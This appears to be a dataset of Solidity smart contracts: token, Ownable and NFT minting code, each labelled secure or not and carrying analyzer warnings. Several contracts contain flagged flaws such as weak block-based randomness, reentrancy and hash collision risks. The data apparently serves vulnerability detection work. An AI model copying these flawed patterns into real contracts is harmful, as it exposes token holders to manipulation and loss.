{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ERC20Snapshot.sol\" as ERC20Snapshot;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NotAnotherToken is ERC20, ERC20Burnable, ERC20Snapshot, Ownable {\n constructor() ERC20(\"NotAnotherToken\", \"TTT\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n\n function snapshot() public onlyOwner {\n _snapshot();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20, ERC20Snapshot) {\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_2592.sol", "secure": 1, "size_bytes": 827 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"You're not authorized\");\n _;\n }\n\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0), \"New owner cannot be 0 address\");\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n}", "file_name": "solidity_code_2593.sol", "secure": 1, "size_bytes": 639 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Basic {\n uint256 public totalSupply;\n\n function balanceOf(\n address _owner\n ) public view virtual returns (uint256 balance);\n\n function transfer(\n address _to,\n uint256 _amount\n ) public virtual returns (bool success);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}", "file_name": "solidity_code_2594.sol", "secure": 1, "size_bytes": 439 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Basic.sol\" as ERC20Basic;\n\nabstract contract ERC20 is ERC20Basic {\n function allowance(\n address _owner,\n address _spender\n ) public view virtual returns (uint256 remaining);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _amount\n ) public virtual returns (bool success);\n\n function approve(\n address _spender,\n uint256 _amount\n ) public virtual returns (bool success);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_2595.sol", "secure": 1, "size_bytes": 677 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Basic.sol\" as ERC20Basic;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BasicToken is ERC20Basic {\n using SafeMath for uint256;\n\n mapping(address => uint256) balances;\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n balances[sender] -= amount;\n balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function balanceOf(\n address _owner\n ) public view virtual override returns (uint256 balance) {\n return balances[_owner];\n }\n}", "file_name": "solidity_code_2596.sol", "secure": 1, "size_bytes": 1219 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./BasicToken.sol\" as BasicToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract StandardToken is ERC20, BasicToken {\n using SafeMath for *;\n\n mapping(address => mapping(address => uint256)) internal allowed;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _amount\n ) public virtual override returns (bool success) {\n require(_to != address(0), \"New address cannot be 0 address\");\n require(balances[_from] >= _amount, \"Should have balance\");\n require(\n allowed[_from][msg.sender] >= _amount,\n \"should have allowed the sender\"\n );\n require(\n _amount > 0 && balances[_to].add(_amount) > balances[_to],\n \"amount cannot be 0\"\n );\n\n balances[_from] = balances[_from].sub(_amount);\n balances[_to] = balances[_to].add(_amount);\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);\n emit Transfer(_from, _to, _amount);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _amount\n ) public virtual override returns (bool success) {\n allowed[msg.sender][_spender] = _amount;\n emit Approval(msg.sender, _spender, _amount);\n return true;\n }\n\n function allowance(\n address _owner,\n address _spender\n ) public view virtual override returns (uint256 remaining) {\n return allowed[_owner][_spender];\n }\n}", "file_name": "solidity_code_2597.sol", "secure": 1, "size_bytes": 1686 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MintableToken is StandardToken, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 2ebea50): MintableToken.cap should be constant \n\t// Recommendation for 2ebea50: Add the 'constant' attribute to state variables that never change.\n uint256 public cap = 100000000000 * 10 ** 18;\n\n function mint(\n address _account,\n uint256 _amount\n ) public onlyOwner returns (bool) {\n _mint(_account, _amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n require(totalSupply + amount <= cap, \"Maximum token supply exceeded\");\n totalSupply += amount;\n balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_2598.sol", "secure": 1, "size_bytes": 1031 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./StandardToken.sol\" as StandardToken;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BurnableToken is StandardToken, Ownable {\n function burn(uint256 _amount) public onlyOwner returns (bool) {\n _burn(owner, _amount);\n return true;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(totalSupply >= amount);\n require(balances[account] >= amount);\n totalSupply -= amount;\n balances[account] -= amount;\n emit Transfer(account, address(0), amount);\n }\n}", "file_name": "solidity_code_2599.sol", "secure": 1, "size_bytes": 660 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FreeMintToken is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 2503295): FreeMintToken.mintAmount should be constant \n\t// Recommendation for 2503295: Add the 'constant' attribute to state variables that never change.\n uint256 public mintAmount = 5000000 * 1 ether;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1d4b756): FreeMintToken.mintStartTime should be immutable \n\t// Recommendation for 1d4b756: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public mintStartTime;\n\n uint256 public constant MINT_DURATION = 4 hours;\n\n mapping(address => bool) private hasMinted;\n\n constructor(\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) Ownable(msg.sender) {\n mintStartTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 63a83eb): FreeMintToken.mint() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < mintStartTime + MINT_DURATION,Minting period has ended)\n\t// Recommendation for 63a83eb: Avoid relying on 'block.timestamp'.\n function mint() external {\n\t\t// timestamp | ID: 63a83eb\n require(\n block.timestamp < mintStartTime + MINT_DURATION,\n \"Minting period has ended\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, mintAmount);\n }\n}", "file_name": "solidity_code_26.sol", "secure": 0, "size_bytes": 1830 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CIMToken is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 10000000000 * 10 ** 18;\n\n constructor() ERC20(\"Coincome\", \"CIM\") Ownable(msg.sender) {\n _mint(msg.sender, MAX_SUPPLY);\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n require(\n totalSupply() + amount <= MAX_SUPPLY,\n \"ERC20: minting would exceed max supply\"\n );\n\n _mint(to, amount);\n }\n}", "file_name": "solidity_code_260.sol", "secure": 1, "size_bytes": 656 }
{ "code": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.8.0;\n\nimport \"./MintableToken.sol\" as MintableToken;\nimport \"./BurnableToken.sol\" as BurnableToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ValueGreenCoin is MintableToken, BurnableToken {\n using SafeMath for uint256;\n\n string public name;\n string public symbol;\n\t// WARNING Optimization Issue (constable-states | ID: fe38eff): ValueGreenCoin.decimals should be constant \n\t// Recommendation for fe38eff: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n constructor(string memory tokenName, string memory tokenSymbol) {\n name = tokenName;\n symbol = tokenSymbol;\n }\n\n function getTokenDetail()\n public\n view\n virtual\n returns (string memory, string memory, uint256)\n {\n return (name, symbol, totalSupply);\n }\n}", "file_name": "solidity_code_2600.sol", "secure": 1, "size_bytes": 962 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"./ERC721URIStorage.sol\" as ERC721URIStorage;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\ncontract DerpyLabradors is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {\n using Counters for Counters.Counter;\n Counters.Counter private _tokenIdCounter;\n\n uint256 public constant MAX_SUPPLY = 7500;\n uint256 public constant MAX_MINT_AMOUNT = 12;\n uint256 private constant DERPLABS_RESERVED = 5;\n\n string public ipfsDir;\n string public ipfsGatewayURI = \"https://ipfs.derplabs.com/ipfs/\";\n\n bool public mintEnabled;\n uint256 public mintFee;\n uint256 public mintPromoFee;\n\n uint256 public dlvStateCount;\n struct DLVToken {\n uint256 tokenId;\n uint256 dlvState;\n string dlvAlias;\n }\n\n mapping(uint256 => DLVToken) private _dlvTokens;\n\n mapping(address => bool) private _dlvPromoRedeemed;\n\n constructor() ERC721(\"Derpy Labradors\", \"DLAB\") {\n ipfsDir = \"QmeDdf7xnubfHSG45X5tCFRgPWhBGqdsZa7cxCjuWEY6iF\";\n dlvStateCount = 3;\n mintFee = 3000000000000000;\n mintPromoFee = 1000000000000000;\n _tokenIdCounter.increment();\n\n mintDLV(2, DERPLABS_RESERVED);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 6a4c845): DerpyLabradors.mintDLV(uint256,uint256) contains a tautology or contradiction require(bool,string)(stateId <= (dlvStateCount 1) && stateId >= 0,Invalid state value)\n\t// Recommendation for 6a4c845: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2b7a315): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2b7a315: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintDLV(uint256 stateId, uint256 amount) public payable {\n require(\n mintEnabled || msg.sender == owner(),\n \"Minting disabled, sale is either paused or concluded\"\n );\n\t\t// tautology | ID: 6a4c845\n require(\n stateId <= (dlvStateCount - 1) && stateId >= 0,\n \"Invalid state value\"\n );\n\n require(amount > 0, \"Amount requested must be 1 or greater\");\n require(\n amount <= MAX_MINT_AMOUNT || msg.sender == owner(),\n \"Amount requested exceeds limit\"\n );\n require(\n (totalSupply() + amount) <= MAX_SUPPLY,\n \"Amount requested exceeds max supply available\"\n );\n require(\n (mintFee * amount) <= msg.value || msg.sender == owner(),\n \"ETH value sent does not match mint price\"\n );\n\n uint256 tokenId = _tokenIdCounter.current();\n for (uint256 i = 1; i < amount + 1; i++) {\n\t\t\t// reentrancy-no-eth | ID: 2b7a315\n _safeMint(msg.sender, tokenId);\n _tokenIdCounter.increment();\n\n\t\t\t// reentrancy-no-eth | ID: 2b7a315\n _dlvTokens[tokenId] = DLVToken(\n tokenId,\n stateId,\n string(abi.encodePacked(\"#\", uint2str(tokenId)))\n );\n tokenId = _tokenIdCounter.current();\n }\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 661aed6): DerpyLabradors.promoMintDLV(uint256) contains a tautology or contradiction require(bool,string)(stateId <= (dlvStateCount 1) && stateId >= 0,Invalid state value)\n\t// Recommendation for 661aed6: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 79c19d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 79c19d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function promoMintDLV(uint256 stateId) public payable returns (uint256) {\n require(\n mintEnabled || msg.sender == owner(),\n \"Minting disabled, sale is either paused or concluded\"\n );\n\t\t// tautology | ID: 661aed6\n require(\n stateId <= (dlvStateCount - 1) && stateId >= 0,\n \"Invalid state value\"\n );\n\n uint256 tokenId = _tokenIdCounter.current();\n require(tokenId <= MAX_SUPPLY, \"Max supply reached\");\n\n require(\n _dlvPromoRedeemed[msg.sender] == false,\n \"Promotional mint already redeemed\"\n );\n require(\n mintPromoFee <= msg.value || msg.sender == owner(),\n \"ETH value sent does not match mint price\"\n );\n\n\t\t// reentrancy-no-eth | ID: 79c19d7\n _safeMint(msg.sender, tokenId);\n _tokenIdCounter.increment();\n\n\t\t// reentrancy-no-eth | ID: 79c19d7\n _dlvPromoRedeemed[msg.sender] = true;\n\n\t\t// reentrancy-no-eth | ID: 79c19d7\n _dlvTokens[tokenId] = DLVToken(\n tokenId,\n stateId,\n string(abi.encodePacked(\"#\", uint2str(tokenId)))\n );\n\n return tokenId;\n }\n\n function enableMint(bool isEnabled) external onlyOwner {\n mintEnabled = isEnabled;\n }\n\n function resetWalletPromo(address addr) external onlyOwner {\n _dlvPromoRedeemed[addr] = false;\n }\n\n function setIPFSDir(string memory dir) external onlyOwner {\n ipfsDir = dir;\n }\n\n function setMintFee(uint256 fee) external onlyOwner {\n mintFee = fee;\n }\n\n function setMintPromoFee(uint256 fee) external onlyOwner {\n mintPromoFee = fee;\n }\n\n function setStateCount(uint256 count) external onlyOwner {\n dlvStateCount = count;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c1ab198): DerpyLabradors.setAlias(uint256,string).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for c1ab198: Rename the local variables that shadow another component.\n function setAlias(uint256 tokenId, string memory name) external {\n require(\n msg.sender == ownerOf(tokenId) || msg.sender == owner(),\n \"Sender is not token owner or contract owner\"\n );\n require(\n bytes(name).length <= 15,\n \"Name Length must not exceed 15 chars\"\n );\n _dlvTokens[tokenId].dlvAlias = name;\n }\n\n function setBaseURI(string memory uri) external onlyOwner {\n ipfsGatewayURI = uri;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 7d1b310): DerpyLabradors.setDLVState(uint256,uint256) contains a tautology or contradiction require(bool,string)(stateId <= (dlvStateCount 1) && stateId >= 0,Invalid state value)\n\t// Recommendation for 7d1b310: Fix the incorrect comparison by changing the value type or the comparison.\n function setDLVState(uint256 tokenId, uint256 stateId) external {\n require(_exists(tokenId), \"ERC721Metadata: nonexistent token\");\n require(\n msg.sender == ownerOf(tokenId) || msg.sender == owner(),\n \"Sender is not token owner or contract owner\"\n );\n\t\t// tautology | ID: 7d1b310\n require(\n stateId <= (dlvStateCount - 1) && stateId >= 0,\n \"Invalid state value\"\n );\n\n _dlvTokens[tokenId].dlvState = stateId;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return ipfsGatewayURI;\n }\n\n function getAlias(\n uint256 tokenId\n ) external view virtual returns (string memory) {\n return string(_dlvTokens[tokenId].dlvAlias);\n }\n\n function promoRedeemed(address addr) external view virtual returns (bool) {\n return _dlvPromoRedeemed[addr];\n }\n\n function dlvState(uint256 tokenId) external view virtual returns (uint256) {\n require(_exists(tokenId), \"ERC721Metadata: nonexistent token\");\n return _dlvTokens[tokenId].dlvState;\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 2c73e36): DerpyLabradors.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(base,ipfsDir,/,uint2str(tokenId),.,uint2str(stateId),.json))\n\t// Recommendation for 2c73e36: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 tokenId\n )\n public\n view\n virtual\n override(ERC721, ERC721URIStorage)\n returns (string memory)\n {\n require(_exists(tokenId), \"ERC721Metadata: nonexistent token\");\n string memory base = _baseURI();\n uint256 stateId = _dlvTokens[tokenId].dlvState;\n\n\t\t// encode-packed-collision | ID: 2c73e36\n return\n string(\n abi.encodePacked(\n base,\n ipfsDir,\n \"/\",\n uint2str(tokenId),\n \".\",\n uint2str(stateId),\n \".json\"\n )\n );\n }\n\n function _burn(\n uint256 tokenId\n ) internal override(ERC721, ERC721URIStorage) {\n super._burn(tokenId);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override(ERC721, ERC721Enumerable) {\n _dlvTokens[tokenId].dlvAlias = string(\n abi.encodePacked(\"#\", uint2str(tokenId))\n );\n\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function withdrawContractETH() external onlyOwner {\n payable(address(msg.sender)).transfer(address(this).balance);\n }\n\n function withdrawAmountContractETH(uint256 amount) external onlyOwner {\n payable(address(msg.sender)).transfer(amount);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5e404ac): DerpyLabradors.uint2str(uint256) performs a multiplication on the result of a division temp = (48 + uint8(_i (_i / 10) * 10))\n\t// Recommendation for 5e404ac: Consider ordering multiplication before division.\n function uint2str(\n uint256 _i\n ) internal pure returns (string memory _uintAsString) {\n if (_i == 0) {\n return \"0\";\n }\n uint256 j = _i;\n uint256 len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint256 k = len;\n while (_i != 0) {\n k = k - 1;\n\t\t\t// divide-before-multiply | ID: 5e404ac\n uint8 temp = (48 + uint8(_i - (_i / 10) * 10));\n bytes1 b1 = bytes1(temp);\n bstr[k] = b1;\n _i /= 10;\n }\n return string(bstr);\n }\n}", "file_name": "solidity_code_2601.sol", "secure": 0, "size_bytes": 11579 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary CatLib {\n string internal constant TABLE =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ba08af7): CatLib.encode(bytes) performs a multiplication on the result of a division encodedLen = 4 * ((data.length + 2) / 3)\n\t// Recommendation for ba08af7: Consider ordering multiplication before division.\n function encode(bytes memory data) internal pure returns (string memory) {\n if (data.length == 0) return \"\";\n\n string memory table = TABLE;\n\n\t\t// divide-before-multiply | ID: ba08af7\n uint256 encodedLen = 4 * ((data.length + 2) / 3);\n\n string memory result = new string(encodedLen + 32);\n\n assembly {\n mstore(result, encodedLen)\n\n let tablePtr := add(table, 1)\n\n let dataPtr := data\n let endPtr := add(dataPtr, mload(data))\n\n let resultPtr := add(result, 32)\n\n for {} lt(dataPtr, endPtr) {} {\n dataPtr := add(dataPtr, 3)\n\n let input := mload(dataPtr)\n\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n mstore(\n resultPtr,\n shl(248, mload(add(tablePtr, and(input, 0x3F))))\n )\n resultPtr := add(resultPtr, 1)\n }\n\n switch mod(mload(data), 3)\n case 1 {\n mstore(sub(resultPtr, 2), shl(240, 0x3d3d))\n }\n case 2 {\n mstore(sub(resultPtr, 1), shl(248, 0x3d))\n }\n }\n\n return result;\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n function parseInt(\n string memory _a\n ) internal pure returns (uint8 _parsedInt) {\n bytes memory bresult = bytes(_a);\n uint8 mint = 0;\n for (uint8 i = 0; i < bresult.length; i++) {\n if (\n (uint8(uint8(bresult[i])) >= 48) &&\n (uint8(uint8(bresult[i])) <= 57)\n ) {\n mint *= 10;\n mint += uint8(bresult[i]) - 48;\n }\n }\n return mint;\n }\n\n function parseInt16(\n string memory _a\n ) internal pure returns (uint16 _parsedInt) {\n bytes memory bresult = bytes(_a);\n uint16 mint = 0;\n for (uint8 i = 0; i < bresult.length; i++) {\n if (\n (uint8(uint8(bresult[i])) >= 48) &&\n (uint8(uint8(bresult[i])) <= 57)\n ) {\n mint *= 10;\n mint += uint8(bresult[i]) - 48;\n }\n }\n return mint;\n }\n\n function substring(\n string memory str,\n uint256 startIndex,\n uint256 endIndex\n ) internal pure returns (string memory) {\n bytes memory strBytes = bytes(str);\n bytes memory result = new bytes(endIndex - startIndex);\n for (uint256 i = startIndex; i < endIndex; i++) {\n result[i - startIndex] = strBytes[i];\n }\n return string(result);\n }\n\n function letterToNumber(bytes1 _inputLetter) internal pure returns (uint8) {\n bytes memory tablebytes = bytes(TABLE);\n for (uint8 i = 0; i < tablebytes.length; i++) {\n if (\n keccak256(abi.encodePacked((tablebytes[i]))) ==\n keccak256(abi.encodePacked((_inputLetter)))\n ) return (i);\n }\n revert();\n }\n}", "file_name": "solidity_code_2602.sol", "secure": 0, "size_bytes": 4652 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./CatLib.sol\" as CatLib;\n\ncontract CatsOnChain is ERC721Enumerable {\n using CatLib for uint8;\n\n struct Trait {\n string traitName;\n string traitType;\n string pixels;\n }\n\n mapping(uint256 => string) internal tokenIdToHash;\n mapping(uint256 => Trait[]) public traitTypes;\n mapping(string => bool) hashToMinted;\n\n uint256 public constant MINT_PRICE = 80000000000000000;\n uint256 public constant MAX_SUPPLY = 11111;\n\n uint16[][7] TIERS;\n address _owner;\n uint256 SEED_NONCE = 0;\n\n constructor() ERC721(\"CatsOnChain\", \"COnC\") {\n _owner = msg.sender;\n\n TIERS[0] = [5556, 333, 667, 1333, 1000, 1111, 889, 222];\n\n TIERS[1] = [1920, 412, 3978, 3018, 960, 823];\n\n TIERS[2] = [2564, 2393, 2051, 1709, 1026, 855, 342, 171];\n\n TIERS[3] = [1949, 2242, 1365, 1754, 975, 877, 780, 487, 390, 292];\n\n TIERS[4] = [2083, 1736, 2083, 1389, 2431, 1042, 347];\n\n TIERS[5] = [6286, 2193, 1170, 585, 292, 585];\n\n TIERS[6] = [92, 3214, 1837, 3214, 1377, 459, 918];\n\n for (int256 i = 0; i < 10; i++) {\n mintCatOwner();\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e4cb8be): CatsOnChain.rarityGen(uint256,uint8) uses timestamp for comparisons Dangerous comparisons _randinput >= currentLowerBound && _randinput < currentLowerBound + thisPercentage\n\t// Recommendation for e4cb8be: Avoid relying on 'block.timestamp'.\n function rarityGen(\n uint256 _randinput,\n uint8 _rarityTier\n ) internal view returns (string memory) {\n uint16 currentLowerBound = 0;\n for (uint8 i = 0; i < TIERS[_rarityTier].length; i++) {\n uint16 thisPercentage = TIERS[_rarityTier][i];\n if (\n\t\t\t\t// timestamp | ID: e4cb8be\n _randinput >= currentLowerBound &&\n _randinput < currentLowerBound + thisPercentage\n ) return i.toString();\n currentLowerBound = currentLowerBound + thisPercentage;\n }\n\n revert();\n }\n\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 3362d3d): CatsOnChain.hash(uint256,address,uint256) uses a weak PRNG \"_randinput = uint16(uint256(keccak256(bytes)(abi.encodePacked(block.timestamp,block.difficulty,_t,_a,_c,SEED_NONCE))) % 11111)\" \n\t// Recommendation for 3362d3d: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function hash(\n uint256 _t,\n address _a,\n uint256 _c\n ) internal returns (string memory) {\n require(_c < 10);\n\n string memory currentHash;\n\n for (uint8 i = 0; i < 7; i++) {\n SEED_NONCE++;\n\t\t\t// weak-prng | ID: 3362d3d\n uint16 _randinput = uint16(\n uint256(\n keccak256(\n abi.encodePacked(\n block.timestamp,\n block.difficulty,\n _t,\n _a,\n _c,\n SEED_NONCE\n )\n )\n ) % 11111\n );\n\n currentHash = string(\n abi.encodePacked(currentHash, rarityGen(_randinput, i))\n );\n }\n\n if (hashToMinted[currentHash]) return hash(_t, _a, _c + 1);\n\n return currentHash;\n }\n\n function mintCatPublic() public payable {\n require(\n msg.value >= MINT_PRICE || totalSupply() < 1000,\n \"Wrong Minting Price (0.08 Eth)\"\n );\n mintCat();\n }\n\n function mintCat() private {\n uint256 _totalSupply = totalSupply();\n require(_totalSupply < MAX_SUPPLY, \"All cats are already minted\");\n uint256 thisTokenId = _totalSupply;\n tokenIdToHash[thisTokenId] = hash(thisTokenId, msg.sender, 0);\n hashToMinted[tokenIdToHash[thisTokenId]] = true;\n _mint(msg.sender, thisTokenId);\n }\n\n function tokenURI(\n uint256 _tokenId\n ) public view override returns (string memory) {\n require(_exists(_tokenId));\n string memory tokenHash = tokenIdToHash[_tokenId];\n\n return\n string(\n abi.encodePacked(\n \"data:application/json;base64,\",\n CatLib.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Cat #\",\n CatLib.toString(_tokenId),\n \"', 'description': 'CatsOnChain is a collection of 11,111 unique animated cats. All metadata and GIFs are generated by an algorithm on the blockchain. No IPFS, no API. Just one smart contract on the Ethereum blockchain.', 'image': 'data:image/gif;base64,\",\n hashToGifHex(tokenHash),\n \"','attributes':\",\n hashToMetadata(tokenHash),\n \"}\"\n )\n )\n )\n )\n )\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 10b2878): CatsOnChain.hashToGifHex(string) performs a multiplication on the result of a division placeFrame = place + (k / 2) * 25\n\t// Recommendation for 10b2878: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b742fe8): CatsOnChain.hashToGifHex(string) performs a multiplication on the result of a division placeFrame = place + (k / 2) * 26\n\t// Recommendation for b742fe8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: d9ff975): CatsOnChain.hashToGifHex(string).colorBytes is a local variable never initialized\n\t// Recommendation for d9ff975: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 04cf06c): CatsOnChain.hashToGifHex(string).placedPixels is a local variable never initialized\n\t// Recommendation for 04cf06c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function hashToGifHex(\n string memory _hash\n ) public view returns (string memory) {\n bytes[12] memory colorBytes;\n for (uint256 i = 0; i < 12; i++) {\n colorBytes[i] = new bytes(625);\n }\n bool[625][12] memory placedPixels;\n\n for (uint8 i = 0; i < 7; i++) {\n uint16 thisTraitIndex = CatLib.parseInt16(\n CatLib.substring(_hash, i, i + 1)\n );\n\n for (\n uint16 j = 0;\n j < bytes(traitTypes[i][thisTraitIndex].pixels).length / 5;\n j++\n ) {\n string memory thisPixel = CatLib.substring(\n traitTypes[i][thisTraitIndex].pixels,\n j * 5,\n j * 5 + 5\n );\n bytes memory thisPixelBytes = bytes(thisPixel);\n\n uint16 place = CatLib.letterToNumber(thisPixelBytes[1]);\n place = place * 25 + CatLib.letterToNumber(thisPixelBytes[0]);\n\n uint8 PixelLength = CatLib.letterToNumber(thisPixelBytes[2]);\n\n uint8 color = CatLib.letterToNumber(thisPixelBytes[3]);\n\n uint8 movement = CatLib.letterToNumber(thisPixelBytes[4]);\n\n for (uint8 l = 0; l < PixelLength; l++) {\n 